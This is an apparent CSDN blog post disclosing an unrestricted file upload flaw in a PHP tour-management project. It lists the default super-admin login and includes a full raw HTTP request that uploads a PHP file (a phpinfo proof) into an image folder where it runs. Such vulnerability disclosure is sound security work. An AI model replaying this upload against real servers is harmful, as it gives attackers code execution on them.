Online Tours & Travels Management System ab.php unrestricted upload

文章揭示了一个名为OnlineTours&TravelsManagementSystem的PHP项目存在的安全问题,具体是一个不受限制的文件上传漏洞。攻击者可以利用此漏洞通过URL<ip>/tour/admin/ab.php上传恶意的123.php文件,并在服务器的 ouradminimg目录下执行PHP代码。该问题可能危及系统安全。
摘要由CSDN通过智能技术生成

Online Tours & Travels Management System ab.php unrestricted upload

vendors: https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.htm

Login account: mayuri.infospace@gmail.com/admin (Super Admin account)
Vulnerability url: ip/tour/admin/ab.php

在这里插入图片描述

Request package for file upload:

POST /OTMSP-Final-source-code/sourcecode/tour/admin/operations/aa.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2293274527734505501588775325
Content-Length: 357
Origin: http://localhost
Connection: close
Referer: http://localhost/OTMSP-Final-source-code/sourcecode/tour/admin/ab.php
Cookie: PHPSESSID=orctgl8jtqmkpcvehrbapg6po2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------2293274527734505501588775325
Content-Disposition: form-data; name="img"; filename="123.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------2293274527734505501588775325
Content-Disposition: form-data; name="submit"


-----------------------------2293274527734505501588775325--

在这里插入图片描述

The files will be uploaded to this directory \tour\admin\img

在这里插入图片描述
We visited the directory of the file in the browser and found that the code had been executed

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值